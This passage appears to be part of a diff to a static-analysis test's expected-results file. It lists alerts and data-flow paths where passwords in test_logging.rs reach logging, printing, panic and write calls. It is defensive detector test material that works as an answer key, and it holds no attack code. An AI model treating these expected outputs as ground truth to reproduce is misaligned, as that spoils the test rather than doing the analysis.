a log file. | test_logging.rs:61:21:61:28 | password | password | +| test_logging.rs:65:5:65:48 | ...::log | test_logging.rs:65:40:65:47 | password | test_logging.rs:65:5:65:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:65:40:65:47 | password | password | +| test_logging.rs:67:5:67:66 | ...::log | test_logging.rs:67:58:67:65 | password | test_logging.rs:67:5:67:66 | ...::log | This operation writes $@ to a log file. | test_logging.rs:67:58:67:65 | password | password | +| test_logging.rs:68:5:68:67 | ...::log | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:5:68:67 | ...::log | This operation writes $@ to a log file. | test_logging.rs:68:19:68:26 | password | password | +| test_logging.rs:72:5:72:47 | ...::log | test_logging.rs:72:39:72:46 | password | test_logging.rs:72:5:72:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:72:39:72:46 | password | password | +| test_logging.rs:74:5:74:65 | ...::log | test_logging.rs:74:57:74:64 | password | test_logging.rs:74:5:74:65 | ...::log | This operation writes $@ to a log file. | test_logging.rs:74:57:74:64 | password | password | +| test_logging.rs:75:5:75:51 | ...::log | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:5:75:51 | ...::log | This operation writes $@ to a log file. | test_logging.rs:75:21:75:28 | password | password | +| test_logging.rs:76:5:76:47 | ...::log | test_logging.rs:76:39:76:46 | password | test_logging.rs:76:5:76:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:76:39:76:46 | password | password | +| test_logging.rs:82:5:82:44 | ...::log | test_logging.rs:82:36:82:43 | password | test_logging.rs:82:5:82:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:82:36:82:43 | password | password | +| test_logging.rs:84:5:84:62 | ...::log | test_logging.rs:84:54:84:61 | password | test_logging.rs:84:5:84:62 | ...::log | This operation writes $@ to a log file. | test_logging.rs:84:54:84:61 | password | password | +| test_logging.rs:85:5:85:48 | ...::log | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:5:85:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:85:21:85:28 | password | password | +| test_logging.rs:86:5:86:44 | ...::log | test_logging.rs:86:36:86:43 | password | test_logging.rs:86:5:86:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:86:36:86:43 | password | password | +| test_logging.rs:94:5:94:29 | ...::log | test_logging.rs:93:15:93:22 | password | test_logging.rs:94:5:94:29 | ...::log | This operation writes $@ to a log file. | test_logging.rs:93:15:93:22 | password | password | +| test_logging.rs:97:5:97:19 | ...::log | test_logging.rs:96:42:96:49 | password | test_logging.rs:97:5:97:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:96:42:96:49 | password | password | +| test_logging.rs:100:5:100:19 | ...::log | test_logging.rs:99:38:99:45 | password | test_logging.rs:100:5:100:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:99:38:99:45 | password | password | +| test_logging.rs:118:5:118:42 | ...::log | test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:5:118:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:118:28:118:41 | get_password(...) | get_password(...) | +| test_logging.rs:131:5:131:32 | ...::log | test_logging.rs:129:25:129:32 | password | test_logging.rs:131:5:131:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:129:25:129:32 | password | password | +| test_logging.rs:141:5:141:38 | ...::log | test_logging.rs:141:27:141:37 | s1.password | test_logging.rs:141:5:141:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:141:27:141:37 | s1.password | s1.password | +| test_logging.rs:151:5:151:38 | ...::log | test_logging.rs:151:27:151:37 | s2.password | test_logging.rs:151:5:151:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:151:27:151:37 | s2.password | s2.password | +| test_logging.rs:176:22:176:31 | log_expect | test_logging.rs:176:70:176:78 | password2 | test_logging.rs:176:22:176:31 | log_expect | This operation writes $@ to a log file. | test_logging.rs:176:70:176:78 | password2 | password2 | +| test_logging.rs:180:24:180:33 | log_expect | test_logging.rs:180:72:180:80 | password2 | test_logging.rs:180:24:180:33 | log_expect | This operation writes $@ to a log file. | test_logging.rs:180:72:180:80 | password2 | password2 | +| test_logging.rs:184:25:184:34 | log_expect | test_logging.rs:183:51:183:59 | password2 | test_logging.rs:184:25:184:34 | log_expect | This operation writes $@ to a log file. | test_logging.rs:183:51:183:59 | password2 | password2 | +| test_logging.rs:188:25:188:34 | log_unwrap | test_logging.rs:187:51:187:59 | password2 | test_logging.rs:188:25:188:34 | log_unwrap | This operation writes $@ to a log file. | test_logging.rs:187:51:187:59 | password2 | password2 | +| test_logging.rs:192:5:192:38 | ...::_print | test_logging.rs:192:30:192:37 | password | test_logging.rs:192:5:192:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:192:30:192:37 | password | password | +| test_logging.rs:193:5:193:38 | ...::_print | test_logging.rs:193:30:193:37 | password | test_logging.rs:193:5:193:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:193:30:193:37 | password | password | +| test_logging.rs:194:5:194:39 | ...::_eprint | test_logging.rs:194:31:194:38 | password | test_logging.rs:194:5:194:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:194:31:194:38 | password | password | +| test_logging.rs:195:5:195:39 | ...::_eprint | test_logging.rs:195:31:195:38 | password | test_logging.rs:195:5:195:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:195:31:195:38 | password | password | +| test_logging.rs:199:13:199:44 | ...::panic_fmt | test_logging.rs:199:36:199:43 | password | test_logging.rs:199:13:199:44 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:199:36:199:43 | password | password | +| test_logging.rs:202:13:202:43 | ...::panic_fmt | test_logging.rs:202:35:202:42 | password | test_logging.rs:202:13:202:43 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:202:35:202:42 | password | password | +| test_logging.rs:205:13:205:52 | ...::panic_fmt | test_logging.rs:205:44:205:51 | password | test_logging.rs:205:13:205:52 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:205:44:205:51 | password | password | +| test_logging.rs:208:13:208:50 | ...::panic_fmt | test_logging.rs:208:42:208:49 | password | test_logging.rs:208:13:208:50 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:208:42:208:49 | password | password | +| test_logging.rs:211:13:211:52 | ...::panic_fmt | test_logging.rs:211:44:211:51 | password | test_logging.rs:211:13:211:52 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:211:44:211:51 | password | password | +| test_logging.rs:214:13:214:54 | ...::assert_failed | test_logging.rs:214:46:214:53 | password | test_logging.rs:214:13:214:54 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:214:46:214:53 | password | password | +| test_logging.rs:217:13:217:54 | ...::assert_failed | test_logging.rs:217:46:217:53 | password | test_logging.rs:217:13:217:54 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:217:46:217:53 | password | password | +| test_logging.rs:220:13:220:58 | ...::panic_fmt | test_logging.rs:220:50:220:57 | password | test_logging.rs:220:13:220:58 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:220:50:220:57 | password | password | +| test_logging.rs:223:13:223:60 | ...::assert_failed | test_logging.rs:223:52:223:59 | password | test_logging.rs:223:13:223:60 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:223:52:223:59 | password | password | +| test_logging.rs:226:13:226:60 | ...::assert_failed | test_logging.rs:226:52:226:59 | password | test_logging.rs:226:13:226:60 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:226:52:226:59 | password | password | +| test_logging.rs:229:23:229:28 | expect | test_logging.rs:229:54:229:61 | password | test_logging.rs:229:23:229:28 | expect | This operation writes $@ to a log file. | test_logging.rs:229:54:229:61 | password | password | +| test_logging.rs:229:23:229:28 | expect | test_logging.rs:229:54:229:61 | password | test_logging.rs:229:23:229:28 | expect | This operation writes $@ to a log file. | test_logging.rs:229:54:229:61 | password | password | +| test_logging.rs:242:10:242:14 | write | test_logging.rs:242:42:242:49 | password | test_logging.rs:242:10:242:14 | write | This operation writes $@ to a log file. | test_logging.rs:242:42:242:49 | password | password | +| test_logging.rs:245:10:245:18 | write_all | test_logging.rs:245:46:245:53 | password | test_logging.rs:245:10:245:18 | write_all | This operation writes $@ to a log file. | test_logging.rs:245:46:245:53 | password | password | +| test_logging.rs:248:9:248:13 | write | test_logging.rs:248:41:248:48 | password | test_logging.rs:248:9:248:13 | write | This operation writes $@ to a log file. | test_logging.rs:248:41:248:48 | password | password | +| test_logging.rs:251:9:251:13 | write | test_logging.rs:251:41:251:48 | password | test_logging.rs:251:9:251:13 | write | This operation writes $@ to a log file. | test_logging.rs:251:41:251:48 | password | password | edges -| test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:42:12:42:35 | MacroExpr | test_logging.rs:42:5:42:36 | ...::log | provenance | MaD:14 Sink:MaD:14 | +| test_logging.rs:42:28:42:35 | password | test_logging.rs:42:12:42:35 | MacroExpr | provenance | | +| test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:14 Sink:MaD:14 | | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:12:43:35 | MacroExpr | provenance | | -| test_logging.rs:44:12:44:35 | MacroExpr | test_logging.rs:44:5:44:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:44:28:44:35 | password | test_logging.rs:44:12:44:35 | MacroExpr | provenance | | -| test_logging.rs:45:11:45:34 | MacroExpr | test_logging.rs:45:5:45:35 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:45:27:45:34 | password | test_logging.rs:45:11:45:34 | MacroExpr | provenance | | -| test_logging.rs:46:12:46:35 | MacroExpr | test_logging.rs:46:5:46:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:46:28:46:35 | password | test_logging.rs:46:12:46:35 | MacroExpr | provenance | | -| test_logging.rs:47:11:47:34 | MacroExpr | test_logging.rs:47:5:47:35 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:47:27:47:34 | password | test_logging.rs:47:11:47:34 | MacroExpr | provenance | | -| test_logging.rs:48:24:48:47 | MacroExpr | test_logging.rs:48:5:48:48 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:48:40:48:47 | password | test_logging.rs:48:24:48:47 | MacroExpr | provenance | | -| test_logging.rs:53:12:53:35 | MacroExpr | test_logging.rs:53:5:53:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:53:28:53:35 | password | test_logging.rs:53:12:53:35 | MacroExpr | provenance | | -| test_logging.rs:55:12:55:48 | MacroExpr | test_logging.rs:55:5:55:49 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:55:41:55:48 | password | test_logging.rs:55:12:55:48 | MacroExpr | provenance | | -| test_logging.rs:57:12:57:46 | MacroExpr | test_logging.rs:57:5:57:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:57:39:57:46 | password | test_logging.rs:57:12:57:46 | MacroExpr | provenance | | -| test_logging.rs:58:12:58:33 | MacroExpr | test_logging.rs:58:5:58:34 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:58:24:58:31 | password | test_logging.rs:58:12:58:33 | MacroExpr | provenance | | -| test_logging.rs:59:12:59:35 | MacroExpr | test_logging.rs:59:5:59:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:59:24:59:31 | password | test_logging.rs:59:12:59:35 | MacroExpr | provenance | | -| test_logging.rs:61:30:61:53 | MacroExpr | test_logging.rs:61:5:61:54 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:61:46:61:53 | password | test_logging.rs:61:30:61:53 | MacroExpr | provenance | | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:62:20:62:28 | &password | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:62:20:62:28 | &password [&ref] | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:62:21:62:28 | password | test_logging.rs:62:20:62:28 | &password | provenance | Config | -| test_logging.rs:62:21:62:28 | password | test_logging.rs:62:20:62:28 | &password [&ref] | provenance | | -| test_logging.rs:66:24:66:47 | MacroExpr | test_logging.rs:66:5:66:48 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:66:40:66:47 | password | test_logging.rs:66:24:66:47 | MacroExpr | provenance | | -| test_logging.rs:68:42:68:65 | MacroExpr | test_logging.rs:68:5:68:66 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:68:58:68:65 | password | test_logging.rs:68:42:68:65 | MacroExpr | provenance | | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:69:18:69:26 | &password | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:69:18:69:26 | &password [&ref] | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:69:19:69:26 | password | test_logging.rs:69:18:69:26 | &password | provenance | Config | -| test_logging.rs:69:19:69:26 | password | test_logging.rs:69:18:69:26 | &password [&ref] | provenance | | -| test_logging.rs:73:23:73:46 | MacroExpr | test_logging.rs:73:5:73:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:73:39:73:46 | password | test_logging.rs:73:23:73:46 | MacroExpr | provenance | | -| test_logging.rs:75:41:75:64 | MacroExpr | test_logging.rs:75:5:75:65 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:75:57:75:64 | password | test_logging.rs:75:41:75:64 | MacroExpr | provenance | | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:76:20:76:28 | &password | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:76:20:76:28 | &password [&ref] | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:76:21:76:28 | password | test_logging.rs:76:20:76:28 | &password | provenance | Config | -| test_logging.rs:76:21:76:28 | password | test_logging.rs:76:20:76:28 | &password [&ref] | provenance | | -| test_logging.rs:77:23:77:46 | MacroExpr | test_logging.rs:77:5:77:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:77:39:77:46 | password | test_logging.rs:77:23:77:46 | MacroExpr | provenance | | -| test_logging.rs:83:20:83:43 | MacroExpr | test_logging.rs:83:5:83:44 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:83:36:83:43 | password | test_logging.rs:83:20:83:43 | MacroExpr | provenance | | -| test_logging.rs:85:38:85:61 | MacroExpr | test_logging.rs:85:5:85:62 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:85:54:85:61 | password | test_logging.rs:85:38:85:61 | MacroExpr | provenance | | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:86:20:86:28 | &password | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:86:20:86:28 | &password [&ref] | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:86:21:86:28 | password | test_logging.rs:86:20:86:28 | &password | provenance | Config | -| test_logging.rs:86:21:86:28 | password | test_logging.rs:86:20:86:28 | &password [&ref] | provenance | | -| test_logging.rs:87:20:87:43 | MacroExpr | test_logging.rs:87:5:87:44 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:87:36:87:43 | password | test_logging.rs:87:20:87:43 | MacroExpr | provenance | | -| test_logging.rs:94:9:94:10 | m1 | test_logging.rs:95:11:95:28 | MacroExpr | provenance | | -| test_logging.rs:94:14:94:22 | &password | test_logging.rs:94:9:94:10 | m1 | provenance | | -| test_logging.rs:94:15:94:22 | password | test_logging.rs:94:14:94:22 | &password | provenance | Config | -| test_logging.rs:95:11:95:28 | MacroExpr | test_logging.rs:95:5:95:29 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:97:9:97:10 | m2 | test_logging.rs:98:11:98:18 | MacroExpr | provenance | | -| test_logging.rs:97:41:97:49 | &password | test_logging.rs:97:9:97:10 | m2 | provenance | | -| test_logging.rs:97:42:97:49 | password | test_logging.rs:97:41:97:49 | &password | provenance | Config | -| test_logging.rs:98:11:98:18 | MacroExpr | test_logging.rs:98:5:98:19 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:100:9:100:10 | m3 | test_logging.rs:101:11:101:18 | MacroExpr | provenance | | -| test_logging.rs:100:14:100:46 | res | test_logging.rs:100:22:100:45 | { ... } | provenance | | -| test_logging.rs:100:22:100:45 | ...::format(...) | test_logging.rs:100:14:100:46 | res | provenance | | -| test_logging.rs:100:22:100:45 | ...::must_use(...) | test_logging.rs:100:9:100:10 | m3 | provenance | | -| test_logging.rs:100:22:100:45 | MacroExpr | test_logging.rs:100:22:100:45 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:100:22:100:45 | { ... } | test_logging.rs:100:22:100:45 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:100:38:100:45 | password | test_logging.rs:100:22:100:45 | MacroExpr | provenance | | -| test_logging.rs:101:11:101:18 | MacroExpr | test_logging.rs:101:5:101:19 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:119:12:119:41 | MacroExpr | test_logging.rs:119:5:119:42 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:119:28:119:41 | get_password(...) | test_logging.rs:119:12:119:41 | MacroExpr | provenance | | -| test_logging.rs:130:9:130:10 | t1 [tuple.1] | test_logging.rs:132:28:132:29 | t1 [tuple.1] | provenance | | -| test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | test_logging.rs:130:9:130:10 | t1 [tuple.1] | provenance | | -| test_logging.rs:130:25:130:32 | password | test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | provenance | | -| test_logging.rs:132:12:132:31 | MacroExpr | test_logging.rs:132:5:132:32 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:132:28:132:29 | t1 [tuple.1] | test_logging.rs:132:28:132:31 | t1.1 | provenance | | -| test_logging.rs:132:28:132:31 | t1.1 | test_logging.rs:132:12:132:31 | MacroExpr | provenance | | -| test_logging.rs:139:11:139:37 | MacroExpr | test_logging.rs:139:5:139:38 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:139:27:139:37 | s1.password | test_logging.rs:139:11:139:37 | MacroExpr | provenance | | -| test_logging.rs:146:11:146:37 | MacroExpr | test_logging.rs:146:5:146:38 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:146:27:146:37 | s2.password | test_logging.rs:146:11:146:37 | MacroExpr | provenance | | -| test_logging.rs:171:33:171:79 | &... | test_logging.rs:171:22:171:31 | log_expect | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:171:33:171:79 | &... [&ref] | test_logging.rs:171:22:171:31 | log_expect | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:171:34:171:79 | MacroExpr | test_logging.rs:171:33:171:79 | &... | provenance | Config | -| test_logging.rs:171:34:171:79 | MacroExpr | test_logging.rs:171:33:171:79 | &... [&ref] | provenance | | -| test_logging.rs:171:34:171:79 | res | test_logging.rs:171:42:171:78 | { ... } | provenance | | -| test_logging.rs:171:42:171:78 | ...::format(...) | test_logging.rs:171:34:171:79 | res | provenance | | -| test_logging.rs:171:42:171:78 | ...::must_use(...) | test_logging.rs:171:34:171:79 | MacroExpr | provenance | | -| test_logging.rs:171:42:171:78 | MacroExpr | test_logging.rs:171:42:171:78 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:171:42:171:78 | { ... } | test_logging.rs:171:42:171:78 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:171:70:171:78 | password2 | test_logging.rs:171:42:171:78 | MacroExpr | provenance | | -| test_logging.rs:175:35:175:81 | &... | test_logging.rs:175:24:175:33 | log_expect | provenance | MaD:10 Sink:MaD:10 | -| test_logging.rs:175:35:175:81 | &... [&ref] | test_logging.rs:175:24:175:33 | log_expect | provenance | MaD:10 Sink:MaD:10 | -| test_logging.rs:175:36:175:81 | MacroExpr | test_logging.rs:175:35:175:81 | &... | provenance | Config | -| test_logging.rs:175:36:175:81 | MacroExpr | test_logging.rs:175:35:175:81 | &... [&ref] | provenance | | -| test_logging.rs:175:36:175:81 | res | test_logging.rs:175:44:175:80 | { ... } | provenance | | -| test_logging.rs:175:44:175:80 | ...::format(...) | test_logging.rs:175:36:175:81 | res | provenance | | -| test_logging.rs:175:44:175:80 | ...::must_use(...) | test_logging.rs:175:36:175:81 | MacroExpr | provenance | | -| test_logging.rs:175:44:175:80 | MacroExpr | test_logging.rs:175:44:175:80 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:175:44:175:80 | { ... } | test_logging.rs:175:44:175:80 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:175:72:175:80 | password2 | test_logging.rs:175:44:175:80 | MacroExpr | provenance | | -| test_logging.rs:182:9:182:19 | err_result3 [Err] | test_logging.rs:183:13:183:23 | err_result3 [Err] | provenance | | -| test_logging.rs:182:47:182:60 | Err(...) [Err] | test_logging.rs:182:9:182:19 | err_result3 [Err] | provenance | | -| test_logging.rs:182:51:182:59 | password2 | test_logging.rs:182:47:182:60 | Err(...) [Err] | provenance | | -| test_logging.rs:183:13:183:23 | err_result3 [Err] | test_logging.rs:183:25:183:34 | log_unwrap | provenance | MaD:11 Sink:MaD:11 | -| test_logging.rs:187:12:187:37 | MacroExpr | test_logging.rs:187:5:187:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | -| test_logging.rs:187:30:187:37 | password | test_logging.rs:187:12:187:37 | MacroExpr | provenance | | -| test_logging.rs:188:14:188:37 | MacroExpr | test_logging.rs:188:5:188:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | -| test_logging.rs:188:30:188:37 | password | test_logging.rs:188:14:188:37 | MacroExpr | provenance | | -| test_logging.rs:189:13:189:38 | MacroExpr | test_logging.rs:189:5:189:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | -| test_logging.rs:189:31:189:38 | password | test_logging.rs:189:13:189:38 | MacroExpr | provenance | | -| test_logging.rs:190:15:190:38 | MacroExpr | test_logging.rs:190:5:190:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | -| test_logging.rs:190:31:190:38 | password | test_logging.rs:190:15:190:38 | MacroExpr | provenance | | -| test_logging.rs:193:23:193:46 | MacroExpr | test_logging.rs:193:16:193:47 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:193:39:193:46 | password | test_logging.rs:193:23:193:46 | MacroExpr | provenance | | -| test_logging.rs:194:22:194:45 | MacroExpr | test_logging.rs:194:16:194:46 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:194:38:194:45 | password | test_logging.rs:194:22:194:45 | MacroExpr | provenance | | -| test_logging.rs:195:31:195:54 | MacroExpr | test_logging.rs:195:16:195:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:195:47:195:54 | password | test_logging.rs:195:31:195:54 | MacroExpr | provenance | | -| test_logging.rs:196:29:196:52 | MacroExpr | test_logging.rs:196:16:196:53 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:196:45:196:52 | password | test_logging.rs:196:29:196:52 | MacroExpr | provenance | | -| test_logging.rs:197:31:197:54 | MacroExpr | test_logging.rs:197:16:197:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:197:47:197:54 | password | test_logging.rs:197:31:197:54 | MacroExpr | provenance | | -| test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | test_logging.rs:198:16:198:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:198:33:198:56 | MacroExpr | test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:198:49:198:56 | password | test_logging.rs:198:33:198:56 | MacroExpr | provenance | | -| test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | test_logging.rs:199:16:199:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:199:33:199:56 | MacroExpr | test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:199:49:199:56 | password | test_logging.rs:199:33:199:56 | MacroExpr | provenance | | -| test_logging.rs:200:37:200:60 | MacroExpr | test_logging.rs:200:16:200:61 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:200:53:200:60 | password | test_logging.rs:200:37:200:60 | MacroExpr | provenance | | -| test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | test_logging.rs:201:16:201:63 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:201:39:201:62 | MacroExpr | test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:201:55:201:62 | password | test_logging.rs:201:39:201:62 | MacroExpr | provenance | | -| test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | test_logging.rs:202:17:202:64 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:202:40:202:63 | MacroExpr | test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:202:56:202:63 | password | test_logging.rs:202:40:202:63 | MacroExpr | provenance | | -| test_logging.rs:203:34:203:66 | res | test_logging.rs:203:42:203:65 | { ... } | provenance | | -| test_logging.rs:203:34:203:75 | ... .as_str() | test_logging.rs:203:27:203:32 | expect | provenance | MaD:1 Sink:MaD:1 | -| test_logging.rs:203:42:203:65 | ...::format(...) | test_logging.rs:203:34:203:66 | res | provenance | | -| test_logging.rs:203:42:203:65 | ...::must_use(...) | test_logging.rs:203:34:203:75 | ... .as_str() | provenance | MaD:15 | -| test_logging.rs:203:42:203:65 | MacroExpr | test_logging.rs:203:42:203:65 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:203:42:203:65 | { ... } | test_logging.rs:203:42:203:65 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:203:58:203:65 | password | test_logging.rs:203:42:203:65 | MacroExpr | provenance | | -| test_logging.rs:209:36:209:70 | res | test_logging.rs:209:44:209:69 | { ... } | provenance | | -| 